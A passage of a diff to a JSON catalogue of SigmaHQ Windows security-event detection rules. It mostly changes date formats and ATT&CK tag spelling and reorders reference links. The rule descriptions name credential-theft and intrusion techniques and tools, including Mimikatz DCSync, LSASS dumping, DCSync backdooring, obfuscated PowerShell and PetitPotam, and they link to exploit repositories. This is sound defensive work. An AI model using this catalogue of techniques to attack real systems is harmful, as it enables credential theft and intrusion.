"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_ldap_dataexchange.yml" ], "tags": [ "attack.t1001.003", - "attack.command_and_control" + "attack.command-and-control" ] }, "related": [ @@ -60604,7 +60710,7 @@ "description": "This detection uses Windows security events to detect suspicious access attempts to the registry key values and sub-keys of Azure AD Health service agents (e.g AD FS).\nInformation from AD Health service agents can be used to potentially abuse some of the features provided by those services in the cloud (e.g. Federation).\nThis detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object: HKLM:\\SOFTWARE\\Microsoft\\ADHealthAgent.\nMake sure you set the SACL to propagate to its sub-keys.\n", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "creation_date": "2021/08/26", + "creation_date": "2021-08-26", "falsepositive": [ "Unknown" ], @@ -60613,8 +60719,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_service_agent.yml", "https://o365blog.com/post/hybridhealthagent/", + "https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_service_agent.yml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_svc_agent_regkey_access.yml" ], "tags": [ @@ -60638,7 +60744,7 @@ "description": "Transferring files with well-known filenames (sensitive files with credential data) using network shares", "meta": { "author": "Teymur Kheirkhabarov, oscd.community", - "creation_date": "2019/10/22", + "creation_date": "2019-10-22", "falsepositive": [ "Transferring sensitive files for legitimate administration work by legitimate administrator" ], @@ -60651,7 +60757,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_transf_files_with_cred_data_via_network_shares.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.002", "attack.t1003.001", "attack.t1003.003" @@ -60687,7 +60793,7 @@ "description": "Detects when a Windows Defender exclusion has been deleted. This could indicate an attacker trying to delete their tracks by removing the added exclusions\n", "meta": { "author": "@BarryShooshooga", - "creation_date": "2019/10/26", + "creation_date": "2019-10-26", "falsepositive": [ "Unknown" ], @@ -60700,7 +60806,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_windows_defender_exclusions_write_deleted.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -60720,7 +60826,7 @@ "description": "Addition of domains is seldom and should be verified for legitimacy.", "meta": { "author": "Thomas Patzke", - "creation_date": "2019/12/03", + "creation_date": "2019-12-03", "falsepositive": [ "Legitimate extension of domain structure" ], @@ -60753,7 +60859,7 @@ "description": "Detects well-known credential dumping tools execution via service execution events", "meta": { "author": "Florian Roth (Nextron Systems), Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2017/03/05", + "creation_date": "2017-03-05", "falsepositive": [ "Legitimate Administrator using credential dumping tool for password recovery" ], @@ -60766,7 +60872,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_creddumper.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.execution", "attack.t1003.001", "attack.t1003.002", @@ -60828,7 +60934,7 @@ "description": "Detects the registration of the security event source VSSAudit. It would usually trigger when volume shadow copy operations happen.", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", - "creation_date": "2020/10/20", + "creation_date": "2020-10-20", "falsepositive": [ "Legitimate use of VSSVC. Maybe backup operations. It would usually be done by C:\\Windows\\System32\\VSSVC.exe." ], @@ -60841,7 +60947,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_vssaudit_secevent_source_registration.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.002" ] }, @@ -60861,7 +60967,7 @@ "description": "Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation", "meta": { "author": "Bartlomiej Czyz, Relativity", - "creation_date": "2021/01/21", + "creation_date": "2021-01-21", "falsepositive": [ "Possible, different agents with a 8 character binary and a 4, 8 or 16 character service name" ], @@ -60874,7 +60980,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_metasploit_or_impacket_smb_psexec_service_install.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002", "attack.t1570", "attack.execution", @@ -60911,7 +61017,7 @@ "description": "Detects scenario where if a user is assigned the SeEnableDelegationPrivilege right in Active Directory it would allow control of other AD user objects.", "meta": { "author": "@neu5ron", - "creation_date": "2017/07/30", + "creation_date": "2017-07-30", "falsepositive": [ "Unknown" ], @@ -60944,7 +61050,7 @@ "description": "Detects Mimikatz DC sync security events", "meta": { "author": "Benjamin Delpy, Florian Roth (Nextron Systems), Scott Dermott, Sorina Ionescu", - "creation_date": "2018/06/03", + "creation_date": "2018-06-03", "falsepositive": [ "Valid DC Sync that is not covered by the filters; please report", "Local Domain Admin account used for Azure AD Connect" @@ -60954,14 +61060,14 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://blog.blacklanternsecurity.com/p/detecting-dcsync?s=r", "https://twitter.com/gentilkiwi/status/1003236624925413376", "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4662", - "https://blog.blacklanternsecurity.com/p/detecting-dcsync?s=r", "https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dcsync.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.s0002", "attack.t1003.006" ] @@ -60982,7 +61088,7 @@ "description": "Detects wceaux.dll access while WCE pass-the-hash remote command execution on source host", "meta": { "author": "Thomas Patzke", - "creation_date": "2017/06/14", + "creation_date": "2017-06-14", "falsepositive": [ "Unknown" ], @@ -60991,12 +61097,12 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://jpcertcc.github.io/ToolAnalysisResultSheet", "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://jpcertcc.github.io/ToolAnalysisResultSheet", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_wceaux_dll.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003", "attack.s0005" ] @@ -61017,7 +61123,7 @@ "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", "meta": { "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/13", + "creation_date": "2020-10-13", "falsepositive": [ "Unknown" ], @@ -61030,7 +61136,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_var_services_security.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -61059,7 +61165,7 @@ "description": "This event is generated when an authenticated user who is not allowed to log on remotely attempts to connect to this computer through Remote Desktop.\nOften, this event can be generated by attackers when searching for available windows servers in the network.\n", "meta": { "author": "Pushkarev Dmitry", - "creation_date": "2020/06/27", + "creation_date": "2020-06-27", "falsepositive": [ "Valid user was not added to RDP group" ], @@ -61072,7 +61178,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_not_allowed_rdp_access.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.001" ] }, @@ -61092,7 +61198,7 @@ "description": "Detects process handle on LSASS process with certain access mask and object type SAM_DOMAIN", "meta": { "author": "sigma", - "creation_date": "2017/02/12", + "creation_date": "2017-02-12", "falsepositive": [ "Unknown" ], @@ -61105,7 +61211,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_lsass_dump.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -61125,7 +61231,7 @@ "description": "Detects handles requested to SAM registry hive", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/08/12", + "creation_date": "2019-08-12", "falsepositive": [ "Unknown" ], @@ -61140,7 +61246,7 @@ "tags": [ "attack.discovery", "attack.t1012", - "attack.credential_access", + "attack.credential-access", "attack.t1552.002" ] }, @@ -61167,7 +61273,7 @@ "description": "Detects access to ADMIN$ network share", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/03/04", + "creation_date": "2017-03-04", "falsepositive": [ "Legitimate administrative activity" ], @@ -61180,7 +61286,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_share_access.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002" ] }, @@ -61200,7 +61306,7 @@ "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/15", + "creation_date": "2020-10-15", "falsepositive": [ "Unknown" ], @@ -61213,7 +61319,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_var_services_security.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -61242,7 +61348,7 @@ "description": "Detects handle requests and access operations to specific registry keys to calculate the SysKey", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/08/12", + "creation_date": "2019-08-12", "falsepositive": [ "Unknown" ], @@ -61275,7 +61381,7 @@ "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/09", + "creation_date": "2020-10-09", "falsepositive": [ "Unknown" ], @@ -61288,7 +61394,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_clip_services_security.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -61317,7 +61423,7 @@ "description": "Backdooring domain object to grant the rights associated with DCSync to a regular user or machine account using Powerview\\Add-DomainObjectAcl DCSync Extended Right cmdlet, will allow to re-obtain the pwd hashes of any user/computer", "meta": { "author": "Samir Bousseaden, Roberto Rodriguez @Cyb3rWard0g, oscd.community, Tim Shelton, Maxence Fossat", - "creation_date": "2019/04/03", + "creation_date": "2019-04-03", "falsepositive": [ "New Domain Controller computer account, check user SIDs within the value attribute of event 5136 and verify if it's a regular user or DC computer account." ], @@ -61351,7 +61457,7 @@ "description": "Detects an installation of a device that is forbidden by the system policy", "meta": { "author": "frack113", - "creation_date": "2022/10/14", + "creation_date": "2022-10-14", "falsepositive": [ "Unknown" ], @@ -61360,12 +61466,12 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-6423", "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", + "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-6423", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_device_installation_blocked.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1200" ] }, @@ -61385,7 +61491,7 @@ "description": "Detects when adversaries stop services or processes by deleting or disabling their respective scheduled tasks in order to conduct data destructive activities", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/05", + "creation_date": "2022-12-05", "falsepositive": [ "Unknown" ], @@ -61400,7 +61506,7 @@ ], "tags": [ "attack.execution", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.persistence", "attack.t1053.005" ] @@ -61421,15 +61527,15 @@ "description": "Detects when the password policy is enumerated.", "meta": { "author": "Zach Mathis", - "creation_date": "2023/05/19", + "creation_date": "2023-05-19", "falsepositive": "No established falsepositives", "filename": "win_security_password_policy_enumerated.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4661", "https://github.com/jpalanco/alienvault-ossim/blob/f74359c0c027e42560924b5cff25cdf121e5505a/os-sim/agent/src/ParserUtil.py#L951", + "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4661", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_password_policy_enumerated.yml" ], "tags": [ @@ -61453,7 +61559,7 @@ "description": "Detects code integrity failures such as missing page hashes or corrupted drivers due unauthorized modification. This could be a sign of tampered binaries.\n", "meta": { "author": "Thomas Patzke", - "creation_date": "2019/12/03", + "creation_date": "2019-12-03", "falsepositive": [ "Disk device errors" ], @@ -61462,12 +61568,12 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-6281", "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-5038", + "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-6281", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_codeintegrity_check_failure.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027.001" ] }, @@ -61487,7 +61593,7 @@ "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/09", + "creation_date": "2020-10-09", "falsepositive": [ "Unknown" ], @@ -61500,7 +61606,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_rundll32_services_security.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -61529,7 +61635,7 @@ "description": "Detects suspicious computer name samtheadmin-{1..100}$ generated by hacktool", "meta": { "author": "elhoim", - "creation_date": "2022/09/09", + "creation_date": "2022-09-09", "falsepositive": [ "Unknown" ], @@ -61539,15 +61645,15 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/malmoeb/status/1511760068743766026", - "https://github.com/WazeHell/sam-theadmin/blob/main/sam_the_admin.py", "https://github.com/helloexp/0day/blob/614227a7b9beb0e91e7e2c6a5e532e6f7a8e883c/00-CVE_EXP/CVE-2021-42287/sam-the-admin/sam_the_admin.py", + "https://github.com/WazeHell/sam-theadmin/blob/main/sam_the_admin.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_computer_name.yml" ], "tags": [ - "cve.2021.42278", - "cve.2021.42287", + "cve.2021-42278", + "cve.2021-42287", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1078" ] }, @@ -61567,7 +61673,7 @@ "description": "Detect PetitPotam coerced authentication activity.", "meta": { "author": "Mauricio Velazco, Michael Haag", - "creation_date": "2021/09/02", + "creation_date": "2021-09-02", "falsepositive": [ "Unknown. Feedback welcomed." ], @@ -61576,12 +61682,12 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/topotam/PetitPotam", "https://github.com/splunk/security_content/blob/0dd6de32de2118b2818550df9e65255f4109a56d/detections/endpoint/petitpotam_network_share_access_request.yml", + "https://github.com/topotam/PetitPotam", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_network_share.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1187" ] }, @@ -61601,7 +61707,7 @@ "description": "Detects modifications to the Windows Defender exclusion registry key. This could indicate a potentially suspicious or even malicious activity by an attacker trying to add a new exclusion in order to bypass security.\n", "meta": { "author": "@BarryShooshooga", - "creation_date": "2019/10/26", + "creation_date": "2019-10-26", "falsepositive": [ "Intended exclusions by administrators" ], @@ -61614,7 +61720,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_windows_defender_exclusions_registry_modified.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -61634,7 +61740,7 @@ "description": "Detects the usage of the 'SeLoadDriverPrivilege' privilege. This privilege is required to load or unload a device driver.\nWith this privilege, the user can dynamically load and unload device drivers or other code in to kernel mode.\nThis user right does not apply to Plug and Play device drivers.\nIf you exclude privileged users/admins and processes, which are allowed to do so, you are maybe left with bad programs trying to load malicious kernel drivers.\nThis will detect Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs) and the usage of Sysinternals and various other tools. So you have to work with a whitelist to find the bad stuff.\n", "meta": { "author": "xknow (@xknow_infosec), xorxes (@xor_xes)", - "creation_date": "2019/04/08", + "creation_date": "2019-04-08", "falsepositive": [ "Other legimate tools loading drivers. Including but not limited to, Sysinternals, CPU-Z, AVs etc. A baseline needs to be created according to the used products and allowed tools. A good thing to do is to try and exclude users who are allowed to load drivers." ], @@ -61643,12 +61749,12 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/", + "https://web.archive.org/web/20230331181619/https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/", "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4673", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_driver_loaded.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -61668,7 +61774,7 @@ "description": "This events that are generated when using the hacktool Ruler by Sensepost", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/05/31", + "creation_date": "2017-05-31", "falsepositive": [ "Go utilities that use staaldraad awesome NTLM library" ], @@ -61677,11 +61783,11 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/staaldraad/go-ntlm/blob/cd032d41aa8ce5751c07cb7945400c0f5c81e2eb/ntlm/ntlmv1.go#L427", - "https://github.com/sensepost/ruler/issues/47", - "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4776", "https://github.com/sensepost/ruler", + "https://github.com/staaldraad/go-ntlm/blob/cd032d41aa8ce5751c07cb7945400c0f5c81e2eb/ntlm/ntlmv1.go#L427", "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624", + "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4776", + "https://github.com/sensepost/ruler/issues/47", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ruler.yml" ], "tags": [ @@ -61730,7 +61836,7 @@ "description": "Detects NetNTLM downgrade attack", "meta": { "author": "Florian Roth (Nextron Systems), wagga", - "creation_date": "2018/03/20", + "creation_date": "2018-03-20", "falsepositive": [ "Unknown" ], @@ -61743,7 +61849,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_net_ntlm_downgrade.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001", "attack.t1112" ] @@ -61771,7 +61877,7 @@ "description": "Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/05/09", + "creation_date": "2022-05-09", "falsepositive": [ "Legitimate used of encrypted ZIP files" ], @@ -61784,8 +61890,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip_outlook.yml" ], "tags": [ - "attack.defense_evasion", - "attack.initial_access", + "attack.defense-evasion", + "attack.initial-access", "attack.t1027", "attack.t1566.001" ] @@ -61813,7 +61919,7 @@ "description": "Detect priv users or groups recon based on 4661 eventid and known privileged users or groups SIDs", "meta": { "author": "Samir Bousseaden", - "creation_date": "2019/04/03", + "creation_date": "2019-04-03", "falsepositive": [ "If source account name is not an admin then its super suspicious" ], @@ -61822,7 +61928,7 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://blog.menasec.net/2019/02/threat-hunting-5-detecting-enumeration.html", + "https://web.archive.org/web/20230329163438/https://blog.menasec.net/2019/02/threat-hunting-5-detecting-enumeration.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_account_discovery.yml" ], "tags": [ @@ -61846,7 +61952,7 @@ "description": "Detects process handle on LSASS process with certain access mask", "meta": { "author": "Roberto Rodriguez, Teymur Kheirkhabarov, Dimitrios Slamaris, Mark Russinovich, Aleksey Potapov, oscd.community (update)", - "creation_date": "2019/11/01", + "creation_date": "2019-11-01", "falsepositive": [ "Legitimate software accessing LSASS process for legitimate reason; update the whitelist with it" ], @@ -61860,7 +61966,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_lsass_dump_generic.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "car.2019-04-004", "attack.t1003.001" ] @@ -61881,7 +61987,7 @@ "description": "Detects the addition of a new member to the local administrator group, which could be legitimate activity or a sign of privilege escalation activity", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/03/14", + "creation_date": "2017-03-14", "falsepositive": [ "Legitimate administrative activity" ], @@ -61890,12 +61996,12 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers", "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4732", + "https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_added_to_local_administrators.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1078", "attack.persistence", "attack.t1098" @@ -61924,7 +62030,7 @@ "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references", "meta": { "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", - "creation_date": "2019/11/08", + "creation_date": "2019-11-08", "falsepositive": [ "Unknown" ], @@ -61937,7 +62043,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_obfuscated_iex_services_security.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027" ] }, @@ -61957,7 +62063,7 @@ "description": "Detects update to a scheduled task event that contain suspicious keywords.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/05", + "creation_date": "2022-12-05", "falsepositive": [ "Unknown" ], @@ -61971,7 +62077,7 @@ ], "tags": [ "attack.execution", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.persistence", "attack.t1053.005" ] @@ -61992,7 +62098,7 @@ "description": "Detects scenarios where system auditing for important events such as \"Process Creation\" or \"Logon\" events is disabled.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/20", + "creation_date": "2023-06-20", "falsepositive": [ "Unlikely" ], @@ -62001,12 +62107,12 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://docs.google.com/presentation/d/1dkrldTTlN3La-OjWtkWJBb4hVk6vfsSMBFBERs6R8zA/edit", "https://github.com/SigmaHQ/sigma/blob/master/documentation/logsource-guides/windows/service/security.md", + "https://docs.google.com/presentation/d/1dkrldTTlN3La-OjWtkWJBb4hVk6vfsSMBFBERs6R8zA/edit", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_disable_event_auditing_critical.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.002" ] }, @@ -62026,7 +62132,7 @@ "description": "Detects non-system users failing to get a handle of the SCM database.", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/08/12", + "creation_date": "2019-08-12", "falsepositive": [ "Unknown" ], @@ -62059,7 +62165,7 @@ "description": "Detects successful logon attempts performed with WMI", "meta": { "author": "Thomas Patzke", - "creation_date": "2019/12/04", + "creation_date": "2019-12-04", "falsepositive": [ "Monitoring tools", "Legitimate system administration" @@ -62093,7 +62199,7 @@ "description": "Detects logon events that have characteristics of events generated during an attack with RottenPotato and the like", "meta": { "author": "@SBousseaden, Florian Roth", - "creation_date": "2019/11/15", + "creation_date": "2019-11-15", "falsepositive": [ "Unknown" ], @@ -62106,8 +62212,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_susp_rottenpotato.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.credential_access", + "attack.privilege-escalation", + "attack.credential-access", "attack.t1557.001" ] }, @@ -62127,7 +62233,7 @@ "description": "Detect potential adversaries leveraging WMI ActiveScriptEventConsumers remotely to move laterally in a network", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/09/02", + "creation_date": "2020-09-02", "falsepositive": [ "SCCM" ], @@ -62140,8 +62246,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_scrcons_remote_wmi_scripteventconsumer.yml" ], "tags": [ - "attack.lateral_movement", - "attack.privilege_escalation", + "attack.lateral-movement", + "attack.privilege-escalation", "attack.persistence", "attack.t1546.003" ] @@ -62162,7 +62268,7 @@ "description": "Detects successful logon from public IP address via SMB. This can indicate a publicly-exposed SMB port.", "meta": { "author": "Micah Babinski (@micahbabinski), Zach Mathis (@yamatosecurity)", - "creation_date": "2023/01/19", + "creation_date": "2023-01-19", "falsepositive": [ "Legitimate or intentional inbound connections from public IP addresses on the SMB port." ], @@ -62171,13 +62277,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.inversecos.com/2020/04/successful-4624-anonymous-logons-to.html", "https://twitter.com/Purp1eW0lf/status/1616144561965002752", + "https://www.inversecos.com/2020/04/successful-4624-anonymous-logons-to.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_successful_external_remote_smb_login.yml" ], "tags": [ - "attack.initial_access", - "attack.credential_access", + "attack.initial-access", + "attack.credential-access", "attack.t1133", "attack.t1078", "attack.t1110" @@ -62213,7 +62319,7 @@ "description": "RDP login with localhost source address may be a tunnelled login", "meta": { "author": "Thomas Patzke", - "creation_date": "2019/01/28", + "creation_date": "2019-01-28", "falsepositive": [ "Unknown" ], @@ -62226,7 +62332,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_rdp_localhost_login.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "car.2013-07-002", "attack.t1021.001" ] @@ -62247,7 +62353,7 @@ "description": "Detect remote login by Administrator user (depending on internal pattern).", "meta": { "author": "juju4", - "creation_date": "2017/10/29", + "creation_date": "2017-10-29", "falsepositive": [ "Legitimate administrative activity." ], @@ -62260,7 +62366,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_admin_rdp_login.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1078.001", "attack.t1078.002", "attack.t1078.003", @@ -62297,7 +62403,7 @@ "description": "Detects the use of a scanner by zerosum0x0 that discovers targets vulnerable to CVE-2019-0708 RDP RCE aka BlueKeep", "meta": { "author": "Florian Roth (Nextron Systems), Adam Bradbury (idea)", - "creation_date": "2019/06/02", + "creation_date": "2019-06-02", "falsepositive": [ "Unlikely" ], @@ -62311,7 +62417,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_rdp_bluekeep_poc_scanner.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1210", "car.2013-07-002" ] @@ -62332,7 +62438,7 @@ "description": "Detects successful logon with logon type 9 (NewCredentials) which matches the Overpass the Hash behavior of e.g Mimikatz's sekurlsa::pth module.", "meta": { "author": "Roberto Rodriguez (source), Dominik Schaudel (rule)", - "creation_date": "2018/02/12", + "creation_date": "2018-02-12", "falsepositive": [ "Runas command-line tool using /netonly parameter" ], @@ -62345,7 +62451,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_overpass_the_hash.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.s0002", "attack.t1550.002" ] @@ -62366,7 +62472,7 @@ "description": "Detects a failed logon attempt from a public IP. A login from a public IP can indicate a misconfigured firewall or network boundary.", "meta": { "author": "NVISO", - "creation_date": "2020/05/06", + "creation_date": "2020-05-06", "falsepositive": [ "Legitimate logon attempts over the internet", "IPv4-to-IPv6 mapped IPs" @@ -62380,7 +62486,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_susp_failed_logon_source.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.persistence", "attack.t1078", "attack.t1190", @@ -62417,7 +62523,7 @@ "description": "Detects potential token impersonation and theft. Example, when using \"DuplicateToken(Ex)\" and \"ImpersonateLoggedOnUser\" with the \"LOGON32_LOGON_NEW_CREDENTIALS flag\".", "meta": { "author": "Michaela Adams, Zach Mathis", - "creation_date": "2022/11/06", + "creation_date": "2022-11-06", "falsepositive": [ "Anti-Virus" ], @@ -62426,13 +62532,13 @@ "logsource.category": "No established category", 